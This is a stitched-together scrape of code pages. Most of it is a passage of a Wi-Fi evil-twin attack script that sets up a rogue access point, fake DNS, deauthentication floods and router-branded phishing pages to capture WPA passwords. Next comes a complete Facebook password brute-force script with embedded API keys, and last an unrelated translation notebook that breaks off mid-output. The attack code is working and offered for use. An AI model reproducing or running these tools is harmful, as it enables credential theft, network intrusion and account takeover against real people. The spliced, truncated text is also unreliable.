DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ID NEUTRA break elif [ "$webconf" = "20" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NL DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NL DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NL DIALOG_WEB_OK=$DIALOG_WEB_OK_NL DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NL DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NL DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NL DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NL DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NL DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NL NEUTRA break elif [ "$webconf" = 21 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_DAN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_DAN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_DAN DIALOG_WEB_OK=$DIALOG_WEB_OK_DAN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_DAN DIALOG_WEB_BACK=$DIALOG_WEB_BACK_DAN DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_DAN DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_DAN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_DAN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_DAN NEUTRA break elif [ "$webconf" = 22 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HE DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HE DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HE DIALOG_WEB_OK=$DIALOG_WEB_OK_HE DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HE DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HE DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HE DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HE DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HE DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HE NEUTRA break elif [ "$webconf" = 23 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TH DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TH DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TH DIALOG_WEB_OK=$DIALOG_WEB_OK_TH DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TH DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TH DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TH DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TH DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TH DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TH NEUTRA break elif [ "$webconf" = 24 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_BR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_BR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_BR DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_BR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_BR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_BR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_BR NEUTRA break elif [ "$webconf" = 25 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_SVN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_SVN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_SVN DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_SVN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_SVN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_SVN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_SVN NEUTRA SVNeak elif [ "$webconf" = "26" ]; then BELKIN break elif [ "$webconf" = "27" ]; then NETGEAR break elif [ "$webconf" = "28" ]; then HUAWEI break elif [ "$webconf" = "29" ]; then VERIZON break elif [ "$webconf" = "30" ]; then NETGEAR2 break elif [ "$webconf" = "31" ]; then ARRIS2 break elif [ "$webconf" = "32" ]; then VODAFONE break elif [ "$webconf" = "33" ]; then TPLINK break elif [ "$webconf" = "34" ]; then ZIGGO_NL break elif [ "$webconf" = "35" ]; then KPN_NL break elif [ "$webconf" = "36" ]; then ZIGGO2016_NL break elif [ "$webconf" = "37" ]; then FRITZBOX_DE break elif [ "$webconf" = "38" ]; then FRITZBOX_ENG break elif [ "$webconf" = "39" ]; then GENEXIS_DE break elif [ "$webconf" = "40" ]; then Login-Netgear break elif [ "$webconf" = "41" ]; then Login-Xfinity break elif [ "$webconf" = "42" ]; then Telekom break elif [ "$webconf" = "43" ]; then google break elif [ "$webconf" = "44" ]; then MOVISTAR_ES break elif [ "$webconf" = "45" ]; then conditional_clear webinterface break fi done fi preattack attack } # Create different settings required for the script function preattack { # Config HostAPD echo "interface=$WIFI driver=nl80211 ssid=$Host_SSID channel=$Host_CHAN" > $DUMP_PATH/hostapd.conf # Creates PHP echo "<?php error_reporting(0); \$count_my_page = (\"$DUMP_PATH/hit.txt\"); \$hits = file(\$count_my_page); \$hits[0] ++; \$fp = fopen(\$count_my_page , \"w\"); fputs(\$fp , \$hits[0]); fclose(\$fp); // Receive form Post data and Saving it in variables \$key1 = @\$_POST['key1']; // Write the name of text file where data will be store \$filename = \"$DUMP_PATH/data.txt\"; \$filename2 = \"$DUMP_PATH/status.txt\"; \$intento = \"$DUMP_PATH/intento\"; \$attemptlog = \"$DUMP_PATH/pwattempt.txt\"; // Marge all the variables with text in a single variable. \$f_data= ''.\$key1.''; \$pwlog = fopen(\$attemptlog, \"w\"); fwrite(\$pwlog, \$f_data); fwrite(\$pwlog,\"\n\"); fclose(\$pwlog); \$file = fopen(\$filename, \"w\"); fwrite(\$file, \$f_data); fwrite(\$file,\"\n\"); fclose(\$file); \$archivo = fopen(\$intento, \"w\"); fwrite(\$archivo,\"\n\"); fclose(\$archivo); while( 1 ) { if (file_get_contents( \$intento ) == 1) { header(\"Location:error.html\"); unlink(\$intento); break; } if (file_get_contents( \$intento ) == 2) { header(\"Location:final.html\"); break; } sleep(1); } ?>" > $DUMP_PATH/data/check.php # Config DHCP echo "authoritative; default-lease-time 600; max-lease-time 7200; subnet $RANG_IP.0 netmask 255.255.255.0 { option broadcast-address $RANG_IP.255; option routers $IP; option subnet-mask 255.255.255.0; option domain-name-servers $IP; range $RANG_IP.100 $RANG_IP.250; }" > $DUMP_PATH/dhcpd.conf #create an empty leases file touch $DUMP_PATH/dhcpd.leases # creates Lighttpd web-server echo "server.document-root = \"$DUMP_PATH/data/\" server.modules = ( \"mod_access\", \"mod_alias\", \"mod_accesslog\", \"mod_fastcgi\", \"mod_redirect\", \"mod_rewrite\" ) fastcgi.server = ( \".php\" => (( \"bin-path\" => \"/usr/bin/php-cgi\", \"socket\" => \"/php.socket\" ))) server.port = 80 server.pid-file = \"/var/run/lighttpd.pid\" # server.username = \"www\" # server.groupname = \"www\" mimetype.assign = ( \".html\" => \"text/html\", \".htm\" => \"text/html\", \".txt\" => \"text/plain\", \".jpg\" => \"image/jpeg\", \".png\" => \"image/png\", \".css\" => \"text/css\" ) server.error-handler-404 = \"/\" static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) index-file.names = ( \"index.htm\", \"index.html\" ) \$SERVER[\"socket\"] == \":443\" { url.redirect = ( \"^/(.*)\" => \"http://www.internet.com\") ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } #Redirect www.domain.com to domain.com \$HTTP[\"host\"] =~ \"^www\.(.*)$\" { url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } " >$DUMP_PATH/lighttpd.conf # that redirects all DNS requests to the gateway echo "import socket class DNSQuery: def __init__(self, data): self.data=data self.dominio='' tipo = (ord(data[2]) >> 3) & 15 if tipo == 0: ini=12 lon=ord(data[ini]) while lon != 0: self.dominio+=data[ini+1:ini+lon+1]+'.' ini+=lon+1 lon=ord(data[ini]) def respuesta(self, ip): packet='' if self.dominio: packet+=self.data[:2] + \"\x81\x80\" packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' packet+=self.data[12:] packet+='\xc0\x0c' packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) return packet if __name__ == '__main__': ip='$IP' print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps.bind(('',53)) try: while 1: data, addr = udps.recvfrom(1024) p=DNSQuery(data) udps.sendto(p.respuesta(ip), addr) print 'Request: %s -> %s' % (p.dominio, ip) except KeyboardInterrupt: print 'Finalizando' udps.close()" > $DUMP_PATH/fakedns chmod +x $DUMP_PATH/fakedns } # Set up DHCP / WEB server # Set up DHCP / WEB server function routear { ifconfig $interfaceroutear up ifconfig $interfaceroutear $IP netmask 255.255.255.0 route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP sysctl -w net.ipv4.ip_forward=1 &>$flux_output_device iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 iptables -A INPUT -p tcp --sport 443 -j ACCEPT iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT iptables -t nat -A POSTROUTING -j MASQUERADE } # Attack function attack { interfaceroutear=$WIFI handshakecheck nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) if [ "$fakeapmode" = "hostapd" ]; then ifconfig $WIFI down sleep 0.4 macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device sleep 0.4 ifconfig $WIFI up sleep 0.4 fi if [ $fakeapmode = "hostapd" ]; then killall hostapd &> $flux_output_device xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & elif [ $fakeapmode = "airbase-ng" ]; then killall airbase-ng &> $flux_output_device xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & fi sleep 5 routear & sleep 3 killall dhcpd &> $flux_output_device fuser -n tcp -k 53 67 80 &> $flux_output_device fuser -n udp -k 53 67 80 &> $flux_output_device xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e "if type python2 >/dev/null 2>/dev/null; then python2 $DUMP_PATH/fakedns; else python $DUMP_PATH/fakedns; fi" & lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device killall aireplay-ng &> $flux_output_device killall mdk3 &> $flux_output_device echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" Attack in progress .." echo " " echo " 1) Choose another network" echo " 2) Exit" echo " " echo -n ' #> ' read yn case $yn in 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; 2 ) matartodo; exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done } # Checks the validity of the password function handshakecheck { echo "#!/bin/bash echo > $DUMP_PATH/data.txt echo -n \"0\"> $DUMP_PATH/hit.txt echo "" >$DUMP_PATH/loggg tput civis clear minutos=0 horas=0 i=0 timestamp=\$(date +%s) while true; do segundos=\$i dias=\`expr \$segundos / 86400\` segundos=\`expr \$segundos % 86400\` horas=\`expr \$segundos / 3600\` segundos=\`expr \$segundos % 3600\` minutos=\`expr \$segundos / 60\` segundos=\`expr \$segundos % 60\` if [ \"\$segundos\" -le 9 ]; then is=\"0\" else is= fi if [ \"\$minutos\" -le 9 ]; then im=\"0\" else im= fi if [ \"\$horas\" -le 9 ]; then ih=\"0\" else ih= fi">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> \"$PASSLOG_PATH/$Host_SSID-$Host_MAC.log\" rm -f $DUMP_PATH/pwattempt.txt fi if [ -f $DUMP_PATH/intento ]; then if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo " if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> $PASSLOG_PATH/$Host_SSID-$Host_MAC.log rm -f $DUMP_PATH/pwattempt.txt fi wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & if [ -f $DUMP_PATH/intento ]; then if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi ">>$DUMP_PATH/handcheck fi echo "readarray -t CLIENTESDHCP < <(nmap -PR -sn -n -oG - $RANG_IP.100-110 2>&1 | grep Host ) echo echo -e \" ACCESS POINT:\" echo -e \" SSID............: "$white"$Host_SSID"$transparent"\" echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" echo -e \" Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\" echo -e \" Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" echo -e \" Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)"$transparent"\" echo echo -e \" CLIENTS ONLINE:\" x=0 for cliente in \"\${CLIENTESDHCP[@]}\"; do x=\$((\$x+1)) CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) CLIENTE_MAC=\$(nmap -PR -sn -n \$CLIENTE_IP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" fi CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) if echo \$CLIENTE_MAC| grep -q x; then CLIENTE_FABRICANTE=\"unknown\" fi CLIENTE_HOSTNAME=\$(grep \$CLIENTE_IP $DUMP_PATH/clientes.txt | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" done echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "let i=\$(date +%s)-\$timestamp sleep 1">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "sleep 5 killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device let i=\$i+5">>$DUMP_PATH/handcheck fi echo "done clear echo \"1\" > $DUMP_PATH/status.txt sleep 7 killall mdk3 &>$flux_output_device killall aireplay-ng &>$flux_output_device killall airbase-ng &>$flux_output_device kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device echo \" FLUX $version by ghost SSID: $Host_SSID BSSID: $Host_MAC ($Host_MAC_MODEL) Channel: $Host_CHAN Security: $Host_ENC Time: \$ih\$horas:\$im\$minutos:\$is\$segundos Password: \$(cat $DUMP_PATH/data.txt) \" >\"$HOME/$Host_SSID-password.txt\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\" ">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck fi echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck chmod +x $DUMP_PATH/handcheck } ############################################# < ATTACK > ############################################ ############################################## < STUFF > ############################################ # Deauth all function deauthall { xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & } function deauthmdk3 { echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating via mdk3 all clients on $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & mdk3PID=$! } # Deauth to a specific target function deauthesp { sleep 2 xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating client $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & } # Close all processes function matartodo { killall aireplay-ng &>$flux_output_device kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall xterm &>$flux_output_device } ######################################### < INTERFACE WEB > ######################################## # Create the contents for the web interface function NEUTRA { if [ ! -d $DUMP_PATH/data ]; then mkdir $DUMP_PATH/data fi source $WORK_DIR/lib/site/index | base64 -d > $DUMP_PATH/file.zip unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device rm $DUMP_PATH/file.zip &>$flux_output_device echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> </head> <body> <!-- final page --> <div id=\"done\" data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_OK</h3> </div> </div> </body> </html>" > $DUMP_PATH/data/final.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Error page --> <div data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_ERROR</h3> <a href=\"index.htm\" class=\"ui-btn ui-corner-all ui-shadow\" onclick=\"location.href='index.htm'\">$DIALOG_WEB_BACK</a> </div> </div> </body> </html>" > $DUMP_PATH/data/error.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Main page --> <div data-role=\"page\" data-theme=\"a\"> <div class=\"ui-content\" dir=\"$DIALOG_WEB_DIR\"> <fieldset> <form id=\"loginForm\" class=\"ui-body ui-body-b ui-corner-all\" action=\"check.php\" method=\"POST\"> </br> <div class=\"ui-field-contain ui-responsive\" style=\"text-align:center;\"> <div>ESSID: <u>$Host_SSID</u></div> <div>BSSID: <u>$Host_MAC</u></div> <div>Channel: <u>$Host_CHAN</u></div> </div> <div style=\"text-align:center;\"> <br><label>$DIALOG_WEB_INFO</label></br> </div> <div class=\"ui-field-contain\" > <label for=\"key1\">$DIALOG_WEB_INPUT</label> <input id=\"key1\" data-clear-btn=\"true\" type=\"password\" value=\"\" name=\"key1\" maxlength=\"64\"/> </div> <input data-icon=\"check\" data-inline=\"true\" name=\"submitBtn\" type=\"submit\" value=\"$DIALOG_WEB_SUBMIT\"/> </form> </fieldset> </div> </div> <script src=\"js/main.js\"></script> <script> $.extend( $.validator.messages, { required: \"$DIALOG_WEB_ERROR_MSG\", maxlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MAX\" ), minlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MIN\" )}); </script> </body> </html>" > $DUMP_PATH/data/index.htm } # Functions to populate the content for the custom phishing pages function ARRIS { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ARRIS-ENG/* $DUMP_PATH/data } function BELKIN { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/belkin_eng/* $DUMP_PATH/data } function NETGEAR { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_eng/* $DUMP_PATH/data } function ARRIS2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/arris_esp/* $DUMP_PATH/data } function NETGEAR2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_esp/* $DUMP_PATH/data } function TPLINK { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/tplink/* $DUMP_PATH/data } function VODAFONE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/vodafone_esp/* $DUMP_PATH/data } function VERIZON { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/verizon/Verizon_files $DUMP_PATH/data cp $WORK_DIR/sites/verizon/Verizon.html $DUMP_PATH/data } function HUAWEI { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/huawei_eng/* $DUMP_PATH/data } function ZIGGO_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo_nl/* $DUMP_PATH/data } function KPN_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/kpn_nl/* $DUMP_PATH/data } function ZIGGO2016_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo2_nl/* $DUMP_PATH/data } function FRITZBOX_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_de/* $DUMP_PATH/data } function FRITZBOX_ENG { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_eng/* $DUMP_PATH/data } function GENEXIS_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/genenix_de/* $DUMP_PATH/data } function Login-Netgear { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Netgear/* $DUMP_PATH/data } function Login-Xfinity { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Xfinity/* $DUMP_PATH/data } function Telekom { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/telekom/* $DUMP_PATH/data } function google { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/google_de/* $DUMP_PATH/data } function MOVISTAR_ES { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/movistar_esp/* $DUMP_PATH/data } ######################################### < INTERFACE WEB > ######################################## top && setresolution && setinterface
RdH4CK3r / Fb Crackerute.py - Facebook Brute Force # -*- coding: utf-8 -*- ## import os import sys import urllib import hashlib API_SECRET = "62f8ce9f74b12f84c123cc23437a4a32" __banner__ = """ +=======================================+ |..........Facebook Cracker v 1.........| +---------------------------------------+ |#Author: DedSecTL <dtlily> | |#Contact: Telegram @dtlily | |#Date: Fri Feb 8 10:15:49 2019 | |#This tool is made for pentesting. | |#Changing the description of this tool | |Won't made you the coder !!! | |#Respect Coderz | |#I take no responsibilities for the | | use of this program ! | +=======================================+ |..........Facebook Cracker v 1.........| +---------------------------------------+ """ print("[+] Facebook Brute Force\n") userid = raw_input("[*] Enter [Email|Phone|Username|ID]: ") try: passlist = raw_input("[*] Set PATH to passlist: ") if os.path.exists(passlist) != False: print(__banner__) print(" [+] Account to crack : {}".format(userid)) print(" [+] Loaded : {}".format(len(open(passlist,"r").read().split("\n")))) print(" [+] Cracking, please wait ...") for passwd in open(passlist,'r').readlines(): sys.stdout.write(u"\u001b[1000D[*] Trying {}".format(passwd.strip())) sys.stdout.flush() sig = "api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail={}format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword={}return_ssl_resources=0v=1.0{}".format(userid,passwd.strip(),API_SECRET) xx = hashlib.md5(sig).hexdigest() data = "api_key=882a8490361da98702bf97a021ddc14d&credentials_type=password&email={}&format=JSON&generate_machine_id=1&generate_session_cookies=1&locale=en_US&method=auth.login&password={}&return_ssl_resources=0&v=1.0&sig={}".format(userid,passwd.strip(),xx) response = urllib.urlopen("https://api.facebook.com/restserver.php?{}".format(data)).read() if "error" in response: pass else: print("\n\n[+] Password found .. !!") print("\n[+] Password : {}".format(passwd.strip())) break print("\n\n[!] Done .. !!") else: print("fbbrute: error: No such file or directory") except KeyboardInterrupt:
Rushikesh8983 / MastersDataScience Deep Learning ProjectLanguage Translation In this project, you’re going to take a peek into the realm of neural network machine translation. You’ll be training a sequence to sequence model on a dataset of English and French sentences that can translate new sentences from English to French. Get the Data Since translating the whole language of English to French will take lots of time to train, we have provided you with a small portion of the English corpus. """ DON'T MODIFY ANYTHING IN THIS CELL """ import helper import problem_unittests as tests source_path = 'data/small_vocab_en' target_path = 'data/small_vocab_fr' source_text = helper.load_data(source_path) target_text = helper.load_data(target_path) Explore the Data Play around with view_sentence_range to view different parts of the data. view_sentence_range = (0, 10) """ DON'T MODIFY ANYTHING IN THIS CELL """ import numpy as np print('Dataset Stats') print('Roughly the number of unique words: {}'.format(len({word: None for word in source_text.split()}))) sentences = source_text.split('\n') word_counts = [len(sentence.split()) for sentence in sentences] print('Number of sentences: {}'.format(len(sentences))) print('Average number of words in a sentence: {}'.format(np.average(word_counts))) print() print('English sentences {} to {}:'.format(*view_sentence_range)) print('\n'.join(source_text.split('\n')[view_sentence_range[0]:view_sentence_range[1]])) print() print('French sentences {} to {}:'.format(*view_sentence_range)) print('\n'.join(target_text.split('\n')[view_sentence_range[0]:view_sentence_range[1]])) Dataset Stats Roughly the number of unique words: 227 Number of sentences: 137861 Average number of words in a sentence: 13.225277634719028 English sentences 0 to 10: new 